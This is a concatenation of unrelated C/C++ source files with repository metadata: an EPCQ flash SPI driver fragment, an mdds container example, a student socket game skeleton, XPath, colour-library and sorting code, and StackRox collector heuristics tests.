// SPDX-License-Identifier: Apache-2.0 /* * Copyright (C) 2019 Gwenhael Goavec-Merou <gwenhael.goavec-merou@trabucayre.com> */ #include <stdio.h> #include <stdlib.h> #include <strings.h> #include "epcq.hpp" #define RD_STATUS_REG 0x05 # define STATUS_REG_WEL (0x01 << 1) # define STATUS_REG_WIP (0x01 << 0) #define RD_BYTE_REG 0x03 #define RD_DEV_ID_REG 0x9F #define RD_SILICON_ID_REG 0xAB #define RD_FAST_READ_REG 0x0B /* TBD */ #define WR_ENABLE_REG 0x06 #define WR_DISABLE_REG 0x04 #define WR_STATUS_REG 0x01 #define WR_BYTES_REG 0x02 /* TBD */ #define ERASE_BULK_REG 0xC7 #define ERASE_SECTOR_REG 0xD8 #define ERASE_SUBSECTOR_REG 0x20 #define RD_SFDP_REG_REG 0x5A #define SECTOR_SIZE 65536 void EPCQ::dumpJICFile(char *jic_file, char *out_file, size_t max_len) { int offset = 0xA1; unsigned char c; size_t i = 0; FILE *jic = fopen(jic_file, "r"); fseek(jic, offset, SEEK_SET); FILE *out = fopen(out_file, "w"); for (i=0; i < max_len && (1 == fread(&c, 1, 1, jic)); i++) { fprintf(out, "%zx %x\n", i, c); } fclose(jic); fclose(out); } void EPCQ::read_id() { unsigned char rx_buf[5]; /* read EPCQ device id */ /* 2 dummy_byte + 1byte */ _spi->spi_put(0x9F, NULL, rx_buf, 3); _device_id = rx_buf[2]; if (_verbose) printf("device id 0x%x attendu 0x15\n", _device_id); /* read EPCQ silicon id */ /* 3 dummy_byte + 1 byte*/ _spi->spi_put(0xAB, NULL, rx_buf, 4); _silicon_id = rx_buf[3]; if (_verbose) printf("silicon id 0x%x attendu 0x14\n", _silicon_id); } EPCQ::EPCQ(SPIInterface *spi, int8_t verbose):SPIFlash(spi, verbose), _device_id(0), _silicon_id(0) {} EPCQ::~EPCQ() {}
23.732394
82
0.67003
uis246
7c2cab8f9aab16a245807db4b6c82012a932fa8b
3,097
cpp
C++
example/multi_type_vector_element_block1.cpp
kohei101/multidimalgorithm
c479747d204b8953933fdbec9a88650a75b822b7
[ "MIT" ]
3
2018-10-08T16:30:06.000Z
2018-10-24T05:05:11.000Z
example/multi_type_vector_element_block1.cpp
kohei101/mdds
c479747d204b8953933fdbec9a88650a75b822b7
[ "MIT" ]
null
null
null
example/multi_type_vector_element_block1.cpp
kohei101/mdds
c479747d204b8953933fdbec9a88650a75b822b7
[ "MIT" ]
null
null
null
/* -*- Mode: C++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /************************************************************************* * * Copyright (c) 2020 Kohei Yoshida * * Permission is hereby granted, free of charge, to any person * obtaining a copy of this software and associated documentation * files (the "Software"), to deal in the Software without * restriction, including without limitation the rights to use, * copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following * conditions: * * The above copyright notice and this permission notice shall be * included in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, * WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR * OTHER DEALINGS IN THE SOFTWARE. * ************************************************************************/ //!code-start #include <mdds/multi_type_vector.hpp> #include <mdds/multi_type_vector/trait.hpp> #include <iostream> using std::cout; using std::endl; using mdds::mtv::double_element_block; using mdds::mtv::string_element_block; using mtv_type = mdds::multi_type_vector<mdds::mtv::element_block_func>; int main() try { mtv_type db; // starts with an empty container. db.push_back(1.1); db.push_back(1.2); db.push_back(1.3); db.push_back(1.4); db.push_back(1.5); db.push_back(std::string("A")); db.push_back(std::string("B")); db.push_back(std::string("C")); db.push_back(std::string("D")); db.push_back(std::string("E")); // At this point, you have 2 blocks in the container. cout << "block size: " << db.block_size() << endl; cout << "--" << endl; // Get an iterator that points to the first block in the primary array. mtv_type::const_iterator it = db.begin(); // Get a pointer to the raw array of the numeric element block using the // 'data' method. const double* p = double_element_block::data(*it->data); // Print the elements from this raw array pointer. for (const double* p_end = p + it->size; p != p_end; ++p) cout << *p << endl; cout << "--" << endl; ++it; // move to the next block, which is a string block. // Get a pointer to the raw array of the string element block. const std::string* pz = string_element_block::data(*it->data); // Print out the string elements. for (const std::string* pz_end = pz + it->size; pz != pz_end; ++pz) cout << *pz << endl; return EXIT_SUCCESS; } catch (...) { return EXIT_FAILURE; } //!code-end /* vim:set shiftwidth=4 softtabstop=4 expandtab: */
33.663043
79
0.646755
kohei101
7c2e1196a5a9c8d9e087b063fd37478f84f9a942
2,904
cpp
C++
ComputingSystems1/assignment4.cpp
benefacto/schoolwork
46d13a4c55fcae0ac4d9059ea4de1e22792efeed
[ "MIT" ]
null
null
null
ComputingSystems1/assignment4.cpp
benefacto/schoolwork
46d13a4c55fcae0ac4d9059ea4de1e22792efeed
[ "MIT" ]
null
null
null
ComputingSystems1/assignment4.cpp
benefacto/schoolwork
46d13a4c55fcae0ac4d9059ea4de1e22792efeed
[ "MIT" ]
null
null
null
#include <stdio.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netdb.h> #include <iostream> #include <string> using namespace std; /* SERVER SECTION */ void ServerListenForClient() {} void ServerClientConnectsCreateThread() {} // for each client: void ServerNumberGeneration() {} void ServerReceiveNameFromClient() {} void ServerReceiveGuessFromClient(int guess) {} void ServerSendIncorrectGuessToClient(int result) {} // only if guess is successful: void ServerSendCorrectGuessToClient(int guess) {} void ServerSendVictoryMessageToClient() {} void ServerSendLeaderboardToClient() {} void ServerUpdateLeaderboard(string &leaderboard.front()) {} void ServerCloseConnectionWithClient() {} // setup Server & perform Server processes: int Server(int argc, char *argv[]) { int sockfd, newsockfd, portno, clilen, n; char buffer[256]; struct sockaddr_in serv_addr, cli_addr; // remember to lock leaderboard vector<string> leaderboard {}; // max 3 players if(argc < 2) { fprintf(stderr,"ERROR, no port provided"); exit(1); } /* if socket function creates/uses listening socket fails, abort server with appropriate error message */ sockfd = socket(AF_INET, SOCK_STREAM, 0); if( sockfd < 0) { fprintf(stderr,"ERROR opening socket"); exit(1); } bzero((char *) &serv_addr, sizeof(serv_addr)); portno = atoi(argv[1]); serv_addr.sin_family = AF_INET; serv_addr.sin_port = htons(portno); serv_addr.sin_addr.s_addr = INADDR_ANY; if(bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) { fprintf(stderr, "ERROR on binding"); exit(1); } listen(sockfd,5); // if error from client, abort thread, not crash server clilen = sizeof(cli_addr); newsockfd = accept(sockfd,(struct sockaddr *) &cli_addr, &clilen); if(newsockfd < 0) { fprintf(stderr, "ERROR on accept"); return 1; } // read from socket bzero(buffer,256); n = read(newsockfd,buffer,255); if (n < 0) { fprintf(stderr,"ERROR reading from socket"); return 1; } printf("Here is the message: %s",buffer); // write to socket n = write(newsockfd, "I got your message",18); if (n < 0) { fprintf(stderr, "ERROR writing to socket"); return 1; } } /* CLIENT SECTION */ void ClientConnectWithServer() {} void ClientNamePrompt() {} void ClientSendNameToServer() {} void ClientNumberGuess() {} void ClientSendGuessToServer() {} void ClientReceiveGuessResult(int result) {} void ClientIncorrectGuess() {} // only if guess is successful: void ClientReceiveVictoryMessage() {} void ClientPrintVictoryMessage() {} void ClientReceiveLeadboardFromServer() {} void ClientPrintLeaderboard() {} void ClientCloseConnection() {} // setup Client & perform Client processes: void Client(void IPaddress, void portOfServerProcess) {} int main(int argc, char* argv[]) { Server(argc,&argv); Client(); return 0; }
25.928571
60
0.710055
benefacto
7c3773d31dfaa90282f2f834ed64b686c60b7ad6
1,902
hpp
C++
src/color/cmy/get/yellow.hpp
dunkyp/color
2782a093cd316125aad318d1b2fdac0ad43e6953
[ "Apache-2.0" ]
null
null
null
src/color/cmy/get/yellow.hpp
dunkyp/color
2782a093cd316125aad318d1b2fdac0ad43e6953
[ "Apache-2.0" ]
null
null
null
src/color/cmy/get/yellow.hpp
dunkyp/color
2782a093cd316125aad318d1b2fdac0ad43e6953
[ "Apache-2.0" ]
null
null
null
#ifndef color_cmy_get_yellow #define color_cmy_get_yellow // ::color::get::yellow( c ) #include "../category.hpp" #include "../place/place.hpp" #include "../../generic/get/yellow.hpp" namespace color { namespace get { namespace constant { namespace cmy { namespace yellow { enum formula_enum { channel_entity }; }} } namespace _internal { namespace cmy { namespace yellow { template < typename category_name ,enum ::color::get::constant::cmy::yellow::formula_enum formula_number = ::color::get::constant::cmy::yellow::channel_entity > struct usher { typedef category_name category_type; typedef ::color::model<category_type> model_type; typedef typename ::color::trait::component< category_name >::return_type return_type; enum { yellow_p = ::color::place::_internal::yellow<category_type>::position_enum }; static return_type process( model_type const& color_parameter) { return color_parameter.template get<yellow_p>(); } }; } }} template < enum ::color::get::constant::cmy::yellow::formula_enum formula_number = ::color::get::constant::cmy::yellow::channel_entity ,typename tag_name > inline typename ::color::model< ::color::category::cmy< tag_name> >::component_const_type yellow ( ::color::model< ::color::category::cmy< tag_name> > const& color_parameter ) { return ::color::get::_internal::cmy::yellow::usher< ::color::category::cmy< tag_name >, formula_number >::process( color_parameter ); } } } #endif
23.195122
142
0.555731
dunkyp
7c391541dadd26db091364aa5c3f2064c87e7fb2
2,761
cpp
C++
XPath3/xpath/XPathStaticEnv.cpp
pschonefeld/XPath3Cpp
9b4c553be42f7039417de987d8bbd7762fe43376
[ "Apache-2.0" ]
null
null
null
XPath3/xpath/XPathStaticEnv.cpp
pschonefeld/XPath3Cpp
9b4c553be42f7039417de987d8bbd7762fe43376
[ "Apache-2.0" ]
null
null
null
XPath3/xpath/XPathStaticEnv.cpp
pschonefeld/XPath3Cpp
9b4c553be42f7039417de987d8bbd7762fe43376
[ "Apache-2.0" ]
1
2021-01-19T08:44:23.000Z
2021-01-19T08:44:23.000Z
#include "StdAfx.h" #include "xpathstaticenv.h" #include "EvalEngine.h" bool XPathFuncArity::operator == (XPathFuncArity other){ if(this->size()==0 && other.size()!=0) return false; if(this->size()!=other.size()) return false; else { int count = 0; while(count < (int) (this->size()-1) ){ if(*(this->at(count))!=*(other.at(count))) return false; count++; } } return true; } CXPathStaticEnv::CXPathStaticEnv(void) { this->Init(); } CXPathStaticEnv::~CXPathStaticEnv(void) { } void CXPathStaticEnv::Init(){ this->InitTypes(); this->InitFunctions(); } void CXPathStaticEnv::InitTypes(){ this->Types["xs:anySimpleType"] = new CXSDType("xs","anySimpleType"); this->Types["xs:anyType"] = new CXSDType("xs","anyType"); this->Types["xs:string"] = new CXSDType("xs","string"); this->Types["xs:integer"] = new CXSDType("xs","integer"); this->Types["xs:decimal"] = new CXSDType("xs","decimal"); this->Types["xs:double"] = new CXSDType("xs","double"); this->Types["dm:sequence"] = new CXSDType("dm","sequence"); this->Types["dm:item"] = new CXSDType("dm","item"); this->Types["dm:node"] = new CXSDType("dm","node"); } void CXPathStaticEnv::InitFunctions(){ //pointers to types CXSDType *ptItem = this->Types.find("dm:item")->second; CXSDType *ptNode = this->Types.find("dm:node")->second; CXSDType *ptInt = this->Types.find("xs:integer")->second; //**function -- fn:root this->Functions["root"] = new XPathFuncSigs(); map<string,XPathFuncSigs*>::iterator it = this->Functions.find("root"); //fn:root() as node it->second->Signatures.push_back(new XPathFunction("fn","root",ptNode)); //fn:root($srcval as node) as node it->second->Signatures.push_back(new XPathFunction("fn","root",ptNode)); it->second->Signatures.back()->Arity.push_back(ptNode); //**function -- fn:position XPathFuncSigs *pFunc = this->Functions["position"] = new XPathFuncSigs(); // map<string,XPathFuncSigs*>::iterator it = this->Functions.find("position"); //fn:position() as unsignedInt? pFunc->Signatures.push_back(new XPathFunction("fn","position",ptInt)); pFunc->Signatures.back()->PFunc = &CEvalEngine::FuncPosition; } XPathFunction* CXPathStaticEnv::GetFunction(string ns, string name, XPathFuncArity* arity){ //find the set of functions matching the local name. map<string,XPathFuncSigs*>::iterator it = this->Functions.find(name); //if found iterate thru the function signatures until a match is found and return if(it!=this->Functions.end()){ vector<XPathFunction*>::iterator jt = it->second->Signatures.begin(); for(jt;jt!=it->second->Signatures.end();jt++){ if((*jt)->Namespace==ns){ if( ((int) (*jt)->Arity.size()==0 && !arity) || ((*jt)->Arity == (*arity)) ) return (*jt); } } } return NULL; }
32.869048
91
0.672945
pschonefeld
7c4111ac146bbb16d2ffbe2b4723c8baef37449a
628
cpp
C++
Sort - Insertion/Cpp/insertionSort.cpp
i-vishi/ds-and-algo
90a8635db9570eb17539201be29ec1cfd4b5ae18
[ "MIT" ]
1
2021-03-01T04:15:08.000Z
2021-03-01T04:15:08.000Z
Sort - Insertion/Cpp/insertionSort.cpp
i-vishi/ds-and-algo
90a8635db9570eb17539201be29ec1cfd4b5ae18
[ "MIT" ]
null
null
null
Sort - Insertion/Cpp/insertionSort.cpp
i-vishi/ds-and-algo
90a8635db9570eb17539201be29ec1cfd4b5ae18
[ "MIT" ]
null
null
null
/* Author: Vishal Gaur * Created: 03-01-2021 21:53:23 */ #include <bits/stdc++.h> using namespace std; // function to sort an array using insertion sort void insertionSort(vector<int> &a) { for (int i = 1; i < a.size(); i++) { for (int j = i; j > 0; j--) { if (a[j - 1] > a[j]) swap(a[j], a[j - 1]); else break; } } } // main function to test above function int main() { vector<int> arr = {12, 58, 40, 16, 49, 26, 24}; insertionSort(arr); cout << "Sorted Array :\t"; for (int i = 0; i < arr.size(); i++) cout << arr[i] << " "; cout << endl; return 0; }
15.7
49
0.514331
i-vishi
7c42eca260f3b556d92f6bb043557b7e32715284
126
cpp
C++
configpanel.cpp
MaciekMr/raspi-alarm
afb737dff7bb761c76496a7a1a2530bbc7b05969
[ "Apache-2.0" ]
null
null
null
configpanel.cpp
MaciekMr/raspi-alarm
afb737dff7bb761c76496a7a1a2530bbc7b05969
[ "Apache-2.0" ]
null
null
null
configpanel.cpp
MaciekMr/raspi-alarm
afb737dff7bb761c76496a7a1a2530bbc7b05969
[ "Apache-2.0" ]
null
null
null
#include "configpanel.h" CConfigPanel::CConfigPanel(QWidget *parent):QWidget(parent){ } CConfigPanel::~CConfigPanel(){ }
11.454545
60
0.738095
MaciekMr
7c435eb637123c574162cb65184d7ee6d4c4883d
8,286
cpp
C++
collector/test/HostHeuristicsTest.cpp
kudz00/collector
73a5366e4d95bc33e85ed0d7578c74f0a2e8a0aa
[ "Apache-2.0" ]
1
2022-03-31T15:25:16.000Z
2022-03-31T15:25:16.000Z
collector/test/HostHeuristicsTest.cpp
kudz00/collector
73a5366e4d95bc33e85ed0d7578c74f0a2e8a0aa
[ "Apache-2.0" ]
4
2022-03-31T16:16:00.000Z
2022-03-31T23:24:33.000Z
collector/test/HostHeuristicsTest.cpp
stackrox/collector
4c3913176eb62636e32a8a56f889e611c638de73
[ "Apache-2.0" ]
null
null
null
/** collector A full notice with attributions is provided along with this source code. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License version 2 as published by the Free Software Foundation. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. If you * do not wish to do so, delete this exception statement from your * version. */ #include "CollectorConfig.cpp" #include "HostConfig.h" #include "HostHeuristics.cpp" #include "gmock/gmock.h" #include "gtest/gtest.h" using namespace testing; namespace collector { class MockSecureBootHeuristics : public SecureBootHeuristic { public: MockSecureBootHeuristics() = default; }; class MockHostInfoHeuristics : public HostInfo { public: MockHostInfoHeuristics() = default; MOCK_METHOD0(IsUEFI, bool()); MOCK_METHOD0(GetSecureBootStatus, SecureBootStatus()); MOCK_METHOD0(IsGarden, bool()); MOCK_METHOD0(GetDistro, std::string&()); }; // Note that in every test below, ProcessHostHeuristics will be called first // with creation of a config mock, which is somewhat annoying, but doesn't // cause any serious issues. class MockCollectorConfig : public CollectorConfig { public: MockCollectorConfig(CollectorArgs* collectorArgs) : CollectorConfig(collectorArgs){}; MOCK_CONST_METHOD0(UseEbpf, bool()); MOCK_CONST_METHOD0(ForceKernelModules, bool()); }; // The SecureBoot feature is enabled, triggering switch to ebpf TEST(HostHeuristicsTest, TestSecureBootEnabled) { MockSecureBootHeuristics secureBootHeuristics; MockHostInfoHeuristics host; CollectorArgs* args = CollectorArgs::getInstance(); MockCollectorConfig config(args); HostConfig hconfig; hconfig.SetCollectionMethod("kernel-module"); EXPECT_CALL(host, IsUEFI()).WillOnce(Return(true)); EXPECT_CALL(host, GetSecureBootStatus()) .WillOnce(Return(SecureBootStatus::ENABLED)); EXPECT_CALL(config, UseEbpf()).WillRepeatedly(Return(false)); EXPECT_CALL(config, ForceKernelModules()).WillOnce(Return(false)); secureBootHeuristics.Process(host, config, &hconfig); EXPECT_EQ(hconfig.CollectionMethod(), "ebpf"); } // The SecureBoot feature is undetermined and could be enabled, triggering // switch to ebpf TEST(HostHeuristicsTest, TestSecureBootNotDetermined) { MockSecureBootHeuristics secureBootHeuristics; MockHostInfoHeuristics host; CollectorArgs* args = CollectorArgs::getInstance(); MockCollectorConfig config(args); HostConfig hconfig; hconfig.SetCollectionMethod("kernel-module"); EXPECT_CALL(host, IsUEFI()).WillOnce(Return(true)); EXPECT_CALL(host, GetSecureBootStatus()) .WillOnce(Return(SecureBootStatus::NOT_DETERMINED)); EXPECT_CALL(config, UseEbpf()).WillRepeatedly(Return(false)); EXPECT_CALL(config, ForceKernelModules()).WillOnce(Return(false)); secureBootHeuristics.Process(host, config, &hconfig); EXPECT_EQ(hconfig.CollectionMethod(), "ebpf"); } // The SecureBoot feature is enabled, but the collector forced to use // kernel-module TEST(HostHeuristicsTest, TestSecureBootKernelModuleForced) { MockSecureBootHeuristics secureBootHeuristics; MockHostInfoHeuristics host; CollectorArgs* args = CollectorArgs::getInstance(); MockCollectorConfig config(args); HostConfig hconfig; // In this constellation neither IsUEFI nor GetSecureBootStatus are called, // as ForceKernelModules makes the decision earlier hconfig.SetCollectionMethod("kernel-module"); EXPECT_CALL(config, UseEbpf()).WillRepeatedly(Return(false)); EXPECT_CALL(config, ForceKernelModules()).WillOnce(Return(true)); secureBootHeuristics.Process(host, config, &hconfig); EXPECT_EQ(hconfig.CollectionMethod(), "kernel-module"); } // Booted in the legacy mode TEST(HostHeuristicsTest, TestSecureBootLegacyBIOS) { MockSecureBootHeuristics secureBootHeuristics; MockHostInfoHeuristics host; CollectorArgs* args = CollectorArgs::getInstance(); MockCollectorConfig config(args); HostConfig hconfig; hconfig.SetCollectionMethod("kernel-module"); EXPECT_CALL(host, IsUEFI()).WillOnce(Return(false)); EXPECT_CALL(config, UseEbpf()).WillRepeatedly(Return(false)); EXPECT_CALL(config, ForceKernelModules()).WillOnce(Return(false)); secureBootHeuristics.Process(host, config, &hconfig); EXPECT_EQ(hconfig.CollectionMethod(), "kernel-module"); } // Garbage value is read from boot_param TEST(HostHeuristicsTest, TestSecureBootIncorrect) { MockSecureBootHeuristics secureBootHeuristics; MockHostInfoHeuristics host; CollectorArgs* args = CollectorArgs::getInstance(); MockCollectorConfig config(args); HostConfig hconfig; hconfig.SetCollectionMethod("kernel-module"); EXPECT_CALL(host, IsUEFI()).WillOnce(Return(true)); EXPECT_CALL(host, GetSecureBootStatus()) .WillOnce(Return(static_cast<SecureBootStatus>(-1))); EXPECT_CALL(config, UseEbpf()).WillRepeatedly(Return(false)); EXPECT_CALL(config, ForceKernelModules()).WillOnce(Return(false)); secureBootHeuristics.Process(host, config, &hconfig); EXPECT_EQ(hconfig.CollectionMethod(), "kernel-module"); } class MockGardenLinuxHeuristic : public GardenLinuxHeuristic { public: MockGardenLinuxHeuristic() = default; }; TEST(GardenLinuxHeuristicsTest, NotGardenLinux) { MockGardenLinuxHeuristic gardenLinuxHeuristic; MockHostInfoHeuristics host; CollectorArgs* args = CollectorArgs::getInstance(); MockCollectorConfig config(args); HostConfig hconfig; hconfig.SetCollectionMethod("kernel-module"); EXPECT_CALL(host, IsGarden()).WillOnce(Return(false)); gardenLinuxHeuristic.Process(host, config, &hconfig); EXPECT_EQ(hconfig.CollectionMethod(), "kernel-module"); } TEST(GardenLinuxHeuristicsTest, UsingEBPF) { MockGardenLinuxHeuristic gardenLinuxHeuristic; MockHostInfoHeuristics host; CollectorArgs* args = CollectorArgs::getInstance(); MockCollectorConfig config(args); HostConfig hconfig; hconfig.SetCollectionMethod("ebpf"); EXPECT_CALL(host, IsGarden()).WillOnce(Return(true)); EXPECT_CALL(config, UseEbpf()).WillOnce(Return(true)); gardenLinuxHeuristic.Process(host, config, &hconfig); EXPECT_EQ(hconfig.CollectionMethod(), "ebpf"); } struct GardenLinuxTestCase { GardenLinuxTestCase(const std::string& release, const std::string& collection_method) : release(release), collection_method(collection_method) {} std::string release; std::string collection_method; }; TEST(GardenLinuxHeuristicsTest, TestReleases) { MockGardenLinuxHeuristic gardenLinuxHeuristic; MockHostInfoHeuristics host; CollectorArgs* args = CollectorArgs::getInstance(); MockCollectorConfig config(args); HostConfig hconfig; std::vector<GardenLinuxTestCase> test_cases = { {"Garden Linux 318.9", "kernel_module"}, {"Garden Linux 576.2", "kernel_module"}, {"Garden Linux 576.3", "ebpf"}, {"Garden Linux 576.5", "ebpf"}}; for (auto test_case : test_cases) { hconfig.SetCollectionMethod("kernel_module"); EXPECT_CALL(host, IsGarden()).WillOnce(Return(true)); EXPECT_CALL(config, UseEbpf()).WillOnce(Return(false)); EXPECT_CALL(host, GetDistro()).WillOnce(ReturnRef(test_case.release)); gardenLinuxHeuristic.Process(host, config, &hconfig); EXPECT_EQ(hconfig.CollectionMethod(), test_case.collection_method); } } } // namespace collector
36.026087
266
0.770215
kudz00
7c448dff1b9c193b06f8127b3630c589176c108a
118
hpp
C++
include/dataStructures/tuple.hpp
AsulconS/LightingOpenGLTest
0bebadbe524f70f3961bde3e5bbd7357c0fa62e1
[ "MIT", "Zlib", "BSD-3-Clause" ]
1
2019-04-14T21:54:51.000Z
2019-04-14T21:54:51.000Z
include/dataStructures/tuple.hpp
AsulconS/A-B-Engine
0bebadbe524f70f3961bde3e5bbd7357c0fa62e1
[ "MIT", "Zlib", "BSD-3-Clause" ]
null
null
null
include/dataStructures/tuple.hpp
AsulconS/A-B-Engine
0bebadbe524f70f3961bde3e5bbd7357c0fa62e1
[ "MIT", "Zlib", "BSD-3-Clause" ]
null
null
null
#ifndef DSTR_TUPLE_H #define DSTR_TUPLE_H #include <tuple> #define Tuple std::tuple #endif // DSTR_TUPLE_H
13.111111
25
0.711864
AsulconS
7c46fca2813557afe6bd1a97413d417d374c12cc
177
hpp
C++
src/parsegen_std_stack.hpp
Aiteta/capp
a43c40788e53e28403dd62e576b17e933aac912d
[ "MIT" ]
3
2021-09-01T15:12:23.000Z
2022-03-28T09:01:05.000Z
src/parsegen_std_stack.hpp
Aiteta/capp
a43c40788e53e28403dd62e576b17e933aac912d
[ "MIT" ]
null
null
null
src/parsegen_std_stack.hpp
Aiteta/capp
a43c40788e53e28403dd62e576b17e933aac912d
[ "MIT" ]
null
null
null
#pragma once #include <stack> namespace parsegen { template <typename T> int isize(std::stack<T> const& s) { return static_cast<int>(s.size()); } } // namespace parsegen
13.615385
36
0.683616
Aiteta